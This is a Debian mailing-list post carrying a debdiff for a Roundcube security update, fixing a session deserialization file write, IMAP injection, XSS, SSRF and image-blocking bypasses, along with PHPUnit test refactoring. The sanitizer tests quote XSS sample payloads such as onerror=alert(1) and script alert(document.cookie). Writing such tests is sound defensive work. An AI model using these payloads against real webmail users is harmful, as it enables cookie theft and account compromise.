[Pkg-roundcube-maintainers] Bug#1131182: roundcube: Multiple security vulnerabilities
Guilhem Moulin
guilhem at debian.org
Tue Mar 24 13:28:19 GMT 2026
Hi,
On Wed, 18 Mar 2026 at 17:19:35 +0100, Guilhem Moulin wrote:
> AFAIK no CVE-ID have been published for these issues. I just requested some.
Unfortunately the CVE IDs have not been assigned yet and upstream is not
interested in the process (incl. embargo and pre-disclosure to distros) [0].
The first issue is particularly serious, although it “only” affects
instances using redis or memcache as session handler. IMHO it makes
sense to upload a fix ASAP, even if the CVE IDs have not been assigned
yet.
Here are tested debdiffs for trixie-security and bookworm-security. As
for the previous uploads, I suggest to follow 1.6.x for trixie-security
(the upstream diff [1] is pretty targeted already) and backport targeted
fixes for bookworm-security.
If the CVE IDs are assigned before the upload, I'll adjust d/changelog,
patch names and DEP-3 headers accordingly, but I don't foresee any code
change.
--
Guilhem.
[0] Latest https://github.com/roundcube/roundcubemail/issues/10123
[1] https://github.com/roundcube/roundcubemail/compare/1.6.13...1.6.14
-------------- next part --------------
diffstat for roundcube-1.6.13+dfsg roundcube-1.6.14+dfsg
CHANGELOG.md | 12
composer.json-dist | 3
debian/changelog | 23 +
debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch | 75 +++++
debian/patches/Fix-FTBFS-with-phpunit-11.patch | 138 ++++------
debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch | 53 +++
debian/patches/fix-install-path.patch | 4
debian/patches/map-sqlite3-to-sqlite.patch | 2
debian/patches/series | 2
debian/patches/update-composer.patch | 14 -
plugins/password/password.php | 4
program/actions/mail/index.php | 2
program/actions/mail/search.php | 4
program/actions/mail/send.php | 3
program/actions/utils/modcss.php | 2
program/include/iniset.php | 11
program/include/rcmail_action.php | 3
program/lib/Roundcube/db/mysql.php | 5
program/lib/Roundcube/rcube_db.php | 6
program/lib/Roundcube/rcube_utils.php | 48 +++
program/lib/Roundcube/rcube_washtml.php | 45 ++-
public_html/plugins/password/password.php | 4
tests/Framework/DB.php | 4
tests/Framework/DBMysql.php | 16 -
tests/Framework/DBPgsql.php | 8
tests/Framework/Utils.php | 37 ++
tests/Framework/Washtml.php | 33 +-
27 files changed, 440 insertions(+), 121 deletions(-)
diff -Nru roundcube-1.6.13+dfsg/CHANGELOG.md roundcube-1.6.14+dfsg/CHANGELOG.md
--- roundcube-1.6.13+dfsg/CHANGELOG.md 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/CHANGELOG.md 2026-03-18 12:35:19.000000000 +0100
@@ -2,6 +2,18 @@
## Unreleased
+- Fix Postgres connection using IPv6 address (#10104)
+- Security: Fix pre-auth arbitrary file write via unsafe deserialization in redis/memcache session handler
+- Security: Fix bug where a password could get changed without providing the old password
+- Security: Fix IMAP Injection + CSRF bypass in mail search
+- Security: Fix remote image blocking bypass via various SVG animate attributes
+- Security: Fix remote image blocking bypass via a crafted body background attribute
+- Security: Fix fixed position mitigation bypass via use of !important
+- Security: Fix XSS issue in a HTML attachment preview
+- Security: Fix SSRF + Information Disclosure via stylesheet links to a local network hosts
+
+## Release 1.6.13
+
- Managesieve: Fix handling of string-list format values for date tests in Out of Office (#10075)
- Fix remote image blocking bypass via SVG content reported by nullcathedral
- Fix CSS injection vulnerability reported by CERT Polska
diff -Nru roundcube-1.6.13+dfsg/composer.json-dist roundcube-1.6.14+dfsg/composer.json-dist
--- roundcube-1.6.13+dfsg/composer.json-dist 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/composer.json-dist 2026-03-18 12:35:19.000000000 +0100
@@ -20,7 +20,8 @@
"roundcube/rtf-html-php": "~2.1",
"masterminds/html5": "~2.7.0",
"bacon/bacon-qr-code": "^2.0.0",
- "guzzlehttp/guzzle": "^7.3.0"
+ "guzzlehttp/guzzle": "^7.3.0",
+ "mlocati/ip-lib": "^1.22.0"
},
"require-dev": {
"phpunit/phpunit": "^9"
diff -Nru roundcube-1.6.13+dfsg/debian/changelog roundcube-1.6.14+dfsg/debian/changelog
--- roundcube-1.6.13+dfsg/debian/changelog 2026-02-11 10:55:46.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/changelog 2026-03-20 18:54:25.000000000 +0100
@@ -1,3 +1,26 @@
+roundcube (1.6.14+dfsg-0+deb13u1) trixie-security; urgency=high
+
+ * New upstream security and bugfix release (closes: #1131182).
+ + Fix pre-auth arbitrary file write via unsafe deserialization in
+ redis/memcache session handler.
+ + Fix bug where a password could get changed without providing the old
+ password.
+ + Fix IMAP Injection + CSRF bypass in mail search.
+ + Fix remote image blocking bypass via various SVG animate attributes.
+ + Fix remote image blocking bypass via a crafted <body> background
+ attribute.
+ + Fix fixed position mitigation bypass via use of `!important`.
+ + Fix XSS vulnerability in HTML attachment preview.
+ + Fix SSRF and information disclosure vulnerability via stylesheet links
+ pointing to a local network hosts.
+ * Refresh d/patches.
+ * Cherry-pick upstream regression fix where mail search would fail on
+ non-ascii search criteria.
+ * Add custom patch to avoid runtime dependency on mlocati/ip-lib which is
+ not present in trixie.
+
+ -- Guilhem Moulin <guilhem at debian.org> Fri, 20 Mar 2026 18:54:25 +0100
+
roundcube (1.6.13+dfsg-0+deb13u1) trixie-security; urgency=high
* New upstream security and bugfix release (closes: #1127447).
diff -Nru roundcube-1.6.13+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch roundcube-1.6.14+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
--- roundcube-1.6.13+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch 1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch 2026-03-20 18:54:25.000000000 +0100
@@ -0,0 +1,75 @@
+From: Guilhem Moulin <guilhem at debian.org>
+Date: Fri, 20 Mar 2026 17:34:30 +0100
+Subject: Avoid dependency on new package mlocati/ip-lib
+
+Which as of today is not present in Debian. The dependency was
+introduced in 27ec6cc9cb25e1ef8b4d4ef39ce76d619caa6870 in order to fix a
+security issue. While it can be uploaded to sid, we need another
+solution to fix the vulnerability for older suites.
+
+Forwarded: not-needed
+---
+ composer.json-dist | 3 +--
+ program/lib/Roundcube/rcube_utils.php | 26 +++++++++++++-------------
+ 2 files changed, 14 insertions(+), 15 deletions(-)
+
+diff --git a/composer.json-dist b/composer.json-dist
+index 1807004..ca3de26 100644
+--- a/composer.json-dist
++++ b/composer.json-dist
+@@ -16,8 +16,7 @@
+ "pear-pear.php.net/net_sieve": ">=1.4.5",
+ "roundcube/plugin-installer": ">=0.3.1",
+ "masterminds/html5": ">=2.7.0",
+- "guzzlehttp/guzzle": ">=7.3.0",
+- "mlocati/ip-lib": ">=1.22.0"
++ "guzzlehttp/guzzle": ">=7.3.0"
+ },
+ "require-dev": {
+ "phpunit/phpunit": "^9"
+diff --git a/program/lib/Roundcube/rcube_utils.php b/program/lib/Roundcube/rcube_utils.php
+index 5e8ac84..e3409b4 100644
+--- a/program/lib/Roundcube/rcube_utils.php
++++ b/program/lib/Roundcube/rcube_utils.php
+@@ -1,7 +1,5 @@
+ <?php
+
+-use IPLib\Factory;
+-
+ /*
+ +-----------------------------------------------------------------------+
+ | This file is part of the Roundcube Webmail client |
+@@ -435,20 +433,22 @@ class rcube_utils
+ if (is_string($host)) {
+ // TODO: This is pretty fast, but a single message can contain multiple links
+ // to the same target, maybe we should do some in-memory caching.
+- if ($address = Factory::parseAddressString($host = trim($host, '[]'))) {
++ if ($address = @inet_pton($host = trim($host, '[]'))) {
+ $nets = [
+- '127.0.0.0/8', // loopback
+- '10.0.0.0/8', // RFC1918
+- '172.16.0.0/12', // RFC1918
+- '192.168.0.0/16', // RFC1918
+- '169.254.0.0/16', // link-local / cloud metadata
+- '::1/128',
+- 'fc00::/7',
++ ['127.0.0.0', '127.255.255.255'], // loopback
++ ['10.0.0.0', '10.255.255.255'], // RFC1918
++ ['172.16.0.0', '172.31.255.255'], // RFC1918
++ ['192.168.0.0', '192.168.255.255'], // RFC1918
++ ['169.254.0.0', '169.254.255.255'], // link-local / cloud metadata
++ ['::1', '::1'],
++ ['fc00::', 'fdff:ffff:ffff:ffff:ffff:ffff:ffff:ffff'],
+ ];
+
+- foreach ($nets as $net) {
+- $range = Factory::parseRangeString($net);
+- if ($range->contains($address)) {
++ foreach ($nets as [$range_start, $range_end]) {
++ $range_start = @inet_pton($range_start);
++ $range_end = @inet_pton($range_end);
++ if (is_string($range_start) && strcmp($range_start, $address) <= 0 &&
++ is_string($range_end) && strcmp($range_end, $address) >= 0) {
+ return true;
+ }
+ }
diff -Nru roundcube-1.6.13+dfsg/debian/patches/Fix-FTBFS-with-phpunit-11.patch roundcube-1.6.14+dfsg/debian/patches/Fix-FTBFS-with-phpunit-11.patch
--- roundcube-1.6.13+dfsg/debian/patches/Fix-FTBFS-with-phpunit-11.patch 2026-02-11 10:55:46.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/Fix-FTBFS-with-phpunit-11.patch 2026-03-20 18:54:25.000000000 +0100
@@ -161,7 +161,7 @@
tests/Framework/Csv2vcard.php | 18 +-
tests/Framework/DB.php | 27 +--
tests/Framework/DBMssql.php | 14 +-
- tests/Framework/DBMysql.php | 14 +-
+ tests/Framework/DBMysql.php | 11 +-
tests/Framework/DBOracle.php | 14 +-
tests/Framework/DBPgsql.php | 22 ++-
tests/Framework/DBSqlite.php | 14 +-
@@ -222,7 +222,7 @@
tests/StderrMock.php | 15 +-
tests/StorageMock.php | 4 +-
tests/bootstrap.php | 21 ++-
- 213 files changed, 2502 insertions(+), 1796 deletions(-)
+ 213 files changed, 2501 insertions(+), 1794 deletions(-)
diff --git a/plugins/acl/tests/Acl.php b/plugins/acl/tests/Acl.php
index 94e0bd4..0ad987f 100644
@@ -7405,7 +7405,7 @@
$result = $csv->export();
diff --git a/tests/Framework/DB.php b/tests/Framework/DB.php
-index 3ac4f13..853489d 100644
+index 3700564..b697cf4 100644
--- a/tests/Framework/DB.php
+++ b/tests/Framework/DB.php
@@ -1,12 +1,17 @@
@@ -7528,16 +7528,17 @@
}
}
diff --git a/tests/Framework/DBMysql.php b/tests/Framework/DBMysql.php
-index 1d5a3fc..79fe7d1 100644
+index ce7e68d..75dcc8f 100644
--- a/tests/Framework/DBMysql.php
+++ b/tests/Framework/DBMysql.php
-@@ -1,13 +1,19 @@
+@@ -1,13 +1,20 @@
<?php
+namespace Roundcube\Tests\Framework;
+
+use PHPUnit\Framework\Attributes\Group;
+use PHPUnit\Framework\TestCase;
++use function Roundcube\Tests\invokeMethod;
+
/**
* Test class to test rcube_db_mysql class
@@ -7551,19 +7552,8 @@
+#[Group('mysql')]
+class Framework_DBMysql extends TestCase
{
-
- /**
-@@ -15,8 +21,8 @@ class Framework_DBMysql extends PHPUnit\Framework\TestCase
- */
- function test_class()
+ public function test_dsn_string()
{
-- $object = new rcube_db_mysql('test');
-+ $object = new \rcube_db_mysql('test');
-
-- $this->assertInstanceOf('rcube_db_mysql', $object, "Class constructor");
-+ $this->assertInstanceOf(\rcube_db_mysql::class, $object, "Class constructor");
- }
- }
diff --git a/tests/Framework/DBOracle.php b/tests/Framework/DBOracle.php
index 8fff546..cb2cab9 100644
--- a/tests/Framework/DBOracle.php
@@ -7602,7 +7592,7 @@
}
}
diff --git a/tests/Framework/DBPgsql.php b/tests/Framework/DBPgsql.php
-index 86f30a8..edc7bef 100644
+index f081c25..dd505a3 100644
--- a/tests/Framework/DBPgsql.php
+++ b/tests/Framework/DBPgsql.php
@@ -1,22 +1,30 @@
@@ -10006,7 +9996,7 @@
$idents = $user->list_identities();
diff --git a/tests/Framework/Utils.php b/tests/Framework/Utils.php
-index e65b5a9..8809da2 100644
+index 3baa861..a27829c 100644
--- a/tests/Framework/Utils.php
+++ b/tests/Framework/Utils.php
@@ -1,11 +1,15 @@
@@ -10203,8 +10193,8 @@
$this->assertEquals("#rcmbody .test { position: absolute; top: 0; }", $mod, "Replace position:fixed with position:absolute (5)");
// missing closing brace
-@@ -281,27 +290,27 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
- $this->assertSame('#rcmbody .test { position: absolute; top: 0; }', $mod, 'Replace position:fixed with position:absolute (6)');
+@@ -284,27 +293,27 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+ $this->assertSame('#rcmbody .test { position: absolute; }', $mod, 'Replace position:fixed with position:absolute (7)');
// allow data URIs with images (#5580)
- $mod = rcube_utils::mod_css_styles("body { background-image: url(data:image/png;base64,123); }", 'rcmbody');
@@ -10237,7 +10227,7 @@
$this->assertSame("#rcmbody { color: red; }", $mod);
$style = 'body { background:url(alert('URL!')); }';
-@@ -335,7 +344,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -338,7 +347,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
:root * { color: red; }
:root > * { top: 0; }
';
@@ -10246,7 +10236,7 @@
$this->assertStringContainsString('#rc .testone', $mod);
$this->assertStringContainsString('#rc .testthree.testfour', $mod);
-@@ -353,24 +362,24 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -356,24 +365,24 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
function test_xss_entity_decode()
{
@@ -10276,7 +10266,7 @@
{
return [
[
-@@ -445,9 +454,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -448,9 +457,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*
* @dataProvider data_parse_css_block
*/
@@ -10288,7 +10278,7 @@
}
/**
-@@ -462,7 +472,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -465,7 +475,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($data as $text => $res) {
@@ -10297,7 +10287,7 @@
$this->assertSame($res, $result);
}
}
-@@ -475,7 +485,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -478,7 +488,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
$data = ['', 'a,b,c', 'a', ',', ',a'];
foreach ($data as $text) {
@@ -10306,7 +10296,7 @@
$this->assertSame(explode(',', $text), $result);
}
}
-@@ -490,7 +500,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -493,7 +503,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($input as $idx => $value) {
@@ -10315,7 +10305,7 @@
}
$input = [
-@@ -498,7 +508,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -501,7 +511,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($input as $idx => $value) {
@@ -10324,7 +10314,7 @@
}
}
-@@ -508,13 +518,13 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -511,13 +521,13 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
function test_get_input_string()
{
$_GET = [];
@@ -10341,7 +10331,7 @@
}
/**
-@@ -522,18 +532,18 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -525,18 +535,18 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*/
function test_is_simple_string()
{
@@ -10372,7 +10362,7 @@
}
/**
-@@ -548,7 +558,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -551,7 +561,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $v) {
@@ -10381,7 +10371,7 @@
$this->assertSame($v[2], $result);
}
}
-@@ -578,7 +588,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -615,7 +625,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $datetime => $ts) {
@@ -10390,7 +10380,7 @@
$this->assertSame($ts, $result, "Error parsing date: $datetime");
}
}
-@@ -605,7 +615,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -642,7 +652,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $datetime => $ts) {
@@ -10399,7 +10389,7 @@
$this->assertSame($ts, $result ? $result->format('Y-m-d') : false, "Error parsing date: $datetime");
}
-@@ -615,7 +625,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -652,7 +662,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $datetime => $ts) {
@@ -10408,7 +10398,7 @@
$this->assertSame($ts, $result ? $result->format('Y-m-d H:i:s') : false, "Error parsing date: $datetime");
}
-@@ -624,7 +634,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -661,7 +671,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $datetime => $ts) {
@@ -10417,7 +10407,7 @@
$this->assertSame($ts, $result ? $result->format('Y-m-d H:i:s O') : false, "Error parsing date: $datetime");
}
}
-@@ -634,17 +644,17 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -671,17 +681,17 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*/
function test_anytodatetime_timezone()
{
@@ -10438,7 +10428,7 @@
if ($result) $result->setTimezone($tz); // move to target timezone for comparison
$this->assertSame($ts, $result ? $result->format('Y-m-d H:i') : false, "Error parsing date: $datetime");
}
-@@ -663,7 +673,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -700,7 +710,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $data) {
@@ -10447,7 +10437,7 @@
$this->assertSame($data[2], $result, "Error formatting date: " . $data[0]);
}
}
-@@ -682,7 +692,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -719,7 +729,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $input => $output) {
@@ -10456,7 +10446,7 @@
$this->assertSame($output, $result);
}
}
-@@ -707,7 +717,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -744,7 +754,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $input => $output) {
@@ -10465,7 +10455,7 @@
$this->assertSame($output, $result, "Error normalizing '$input'");
}
}
-@@ -730,7 +740,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -767,7 +777,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $idx => $params) {
@@ -10474,7 +10464,7 @@
$this->assertSame($params[2], $result, "words_match() at index $idx");
}
}
-@@ -756,7 +766,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -793,7 +803,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
}
foreach ($test as $input => $output) {
@@ -10483,7 +10473,7 @@
$this->assertSame($output, $result);
}
}
-@@ -766,17 +776,17 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -803,17 +813,17 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*/
function test_random_bytes()
{
@@ -10507,7 +10497,7 @@
{
/*
-@@ -813,9 +823,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -850,9 +860,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
* @param string $encoded Encoded email address
* @dataProvider data_idn_convert
*/
@@ -10519,7 +10509,7 @@
}
/**
-@@ -825,9 +836,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -862,9 +873,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
* @param string $encoded Encoded email address
* @dataProvider data_idn_convert
*/
@@ -10531,7 +10521,7 @@
}
/**
-@@ -835,14 +847,14 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -872,14 +884,14 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*/
function test_idn_to_ascii_special()
{
@@ -10549,7 +10539,7 @@
{
return [
['%z', 'hostname', 'hostname'],
-@@ -857,15 +869,16 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -894,15 +906,16 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*
* @dataProvider data_parse_host
*/
@@ -10568,7 +10558,7 @@
{
return [
[['hostname', null, null], ['hostname', null, null]],
-@@ -888,15 +901,16 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -925,15 +938,16 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*
* @dataProvider data_parse_host_uri
*/
@@ -10587,7 +10577,7 @@
return [
['both', 'Fwd: Re: Test subject both', 'Test subject both'],
['both', 'Re: Fwd: Test subject both', 'Test subject both'],
-@@ -914,8 +928,9 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -951,8 +965,9 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*
* @dataProvider data_remove_subject_prefix
*/
@@ -10598,7 +10588,7 @@
}
/**
-@@ -923,13 +938,13 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -960,13 +975,13 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*/
function test_server_name()
{
@@ -10615,7 +10605,7 @@
}
/**
-@@ -939,31 +954,31 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -976,31 +991,31 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
{
$_SERVER['test'] = 'test.com';
@@ -10814,7 +10804,7 @@
$this->assertSame($result, "BEGIN:VCARD\r\nVERSION:3.0\r\nFN:\r\nN:;;;;\r\nEND:VCARD");
diff --git a/tests/Framework/Washtml.php b/tests/Framework/Washtml.php
-index ef324f8..e8e5a4a 100644
+index ff2ad0f..6d5fc29 100644
--- a/tests/Framework/Washtml.php
+++ b/tests/Framework/Washtml.php
@@ -1,11 +1,14 @@
@@ -10951,8 +10941,8 @@
+ $washer = new \rcube_washtml(['html_elements' => ['body']]);
$washed = $washer->wash($html);
- $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, "Body bgcolor attribute");
-@@ -277,7 +280,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+ $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, 'Body bgcolor attribute');
+@@ -284,7 +287,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
{
$html = "<p style=\"line-height: 1; height: 10\">a</p>";
@@ -10961,7 +10951,7 @@
$washed = $washer->wash($html);
$this->assertMatchesRegularExpression('|line-height: 1;|', $washed, "Untouched line-height (#1489917)");
-@@ -286,7 +289,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -293,7 +296,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
$html = "<div style=\"padding: 0px\n 20px;border:1px solid #000;\"></div>";
$expected = "<div style=\"padding: 0px 20px; border: 1px solid #000\"></div>";
@@ -10970,7 +10960,7 @@
$washed = $washer->wash($html);
$this->assertSame($this->cleanupResult($washed), $expected, 'White-space and new-line characters handling');
-@@ -300,7 +303,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -307,7 +310,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
$html = "<img style=aaa:'\"/onerror=alert(1)//'>";
$exp = "<img style=\"aaa: '"/onerror=alert(1)//'\" />";
@@ -10979,7 +10969,7 @@
$washed = $washer->wash($html);
$this->assertTrue(strpos($washed, $exp) !== false, "Style quotes XSS issue (#1490227)");
-@@ -308,7 +311,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -315,7 +318,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
$html = "<img style=aaa:'"/onerror=alert(1)//'>";
$exp = "<img style=\"aaa: '"/onerror=alert(1)//'\" />";
@@ -10988,7 +10978,7 @@
$washed = $washer->wash($html);
$this->assertTrue(strpos($washed, $exp) !== false, "Style quotes XSS issue (#1490227)");
-@@ -326,7 +329,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -333,7 +336,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
*/
function test_title()
{
@@ -10997,7 +10987,7 @@
$html = "<html><head><title>title1</title></head><body><p>test</p></body>";
$washed = $washer->wash($html);
-@@ -372,7 +375,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -379,7 +382,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
<!-- animate blocked -->
</svg>';
@@ -11006,7 +10996,7 @@
$washed = $washer->wash($svg);
$this->assertSame($washed, $exp, "SVG content");
-@@ -381,7 +384,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -388,7 +391,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
/**
* Test cases for SVG tests
*/
@@ -11015,7 +11005,7 @@
{
$svg1 = "<svg id='x' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>";
-@@ -508,9 +511,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -529,9 +532,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
*
* @dataProvider data_wash_svg_tests
*/
@@ -11027,7 +11017,7 @@
$washed = $washer->wash($input);
$this->assertSame($expected, $this->cleanupResult($washed), "SVG content");
-@@ -519,7 +523,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -540,7 +544,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
/**
* Test cases for various XSS issues
*/
@@ -11036,7 +11026,7 @@
{
return [
[
-@@ -574,9 +578,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -595,9 +599,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
*
* @dataProvider data_wash_xss_tests
*/
@@ -11048,7 +11038,7 @@
$washed = $washer->wash($input);
$this->assertSame($expected, $this->cleanupResult($washed), "XSS issues");
-@@ -590,7 +595,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -611,7 +616,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
$html = "<img style='position:fixed' /><img style=\"position:/**/ fixed; top:10px\" />";
$exp = "<img style=\"position: absolute\" /><img style=\"position: absolute; top: 10px\" />";
@@ -11057,7 +11047,7 @@
$washed = $washer->wash($html);
$this->assertTrue(strpos($washed, $exp) !== false, "Position:fixed (#5264)");
-@@ -634,7 +639,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -655,7 +660,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
<annotation encoding="TeX">I_D = \frac{1}{2} k_n \frac{W}{L} (V_{GS}-V_t)^2</annotation>
</semantics></math>';
@@ -11066,7 +11056,7 @@
$washed = $washer->wash($mathml);
// remove whitespace between tags
-@@ -651,7 +656,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -672,7 +677,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
{
$html = "<input type=\"image\" src=\"http://TRACKING_URL/\">";
@@ -11075,7 +11065,7 @@
$washed = $washer->wash($html);
$this->assertTrue($washer->extlinks);
-@@ -659,7 +664,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -680,7 +685,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
$html = "<video src=\"http://TRACKING_URL/\">";
@@ -11084,7 +11074,7 @@
$washed = $washer->wash($html);
$this->assertTrue($washer->extlinks);
-@@ -680,14 +685,14 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -701,14 +706,14 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
];
foreach ($html as $item) {
@@ -11101,7 +11091,7 @@
$washed = $washer->wash($item[0]);
$this->assertFalse($washer->extlinks);
-@@ -698,7 +703,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -719,7 +724,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
{
$html = '<textarea><p style="x:</textarea><img src=x onerror=alert(1)>">';
@@ -11110,7 +11100,7 @@
$washed = $washer->wash($html);
$this->assertStringNotContainsString('onerror=alert(1)>', $washed);
-@@ -710,7 +715,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -731,7 +736,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
*/
function test_css_prefix()
{
@@ -11119,7 +11109,7 @@
$html = '<p id="my-id">'
. '<label for="my-other-id" class="my-class1 my-class2">test</label>'
-@@ -738,14 +743,14 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -759,14 +764,14 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
{
$html = '<p><?xml:namespace prefix = "xsl" /></p>';
@@ -11136,7 +11126,7 @@
$washed = $this->cleanupResult($washer->wash($html));
$this->assertSame($washed, 'HTML');
-@@ -756,7 +761,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -777,7 +782,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
*/
function test_missing_tags()
{
@@ -11145,7 +11135,7 @@
$html = '<head></head>First line<br />Second line';
$washed = $washer->wash($html);
-@@ -798,7 +803,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -819,7 +824,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
{
$html = '<p><![CDATA[<script>alert(document.cookie)</script>]]></p>';
@@ -11154,7 +11144,7 @@
$washed = $washer->wash($html);
$this->assertTrue(strpos($washed, '<script>') === false, "CDATA content");
-@@ -810,7 +815,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -831,7 +836,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
function test_resolve_base()
{
$html = file_get_contents(TESTS_DIR . 'src/htmlbase.txt');
@@ -11163,7 +11153,7 @@
$this->assertMatchesRegularExpression('|src="http://alec\.pl/dir/img1\.gif"|', $html, "URI base resolving [1]");
$this->assertMatchesRegularExpression('|src="http://alec\.pl/dir/img2\.gif"|', $html, "URI base resolving [2]");
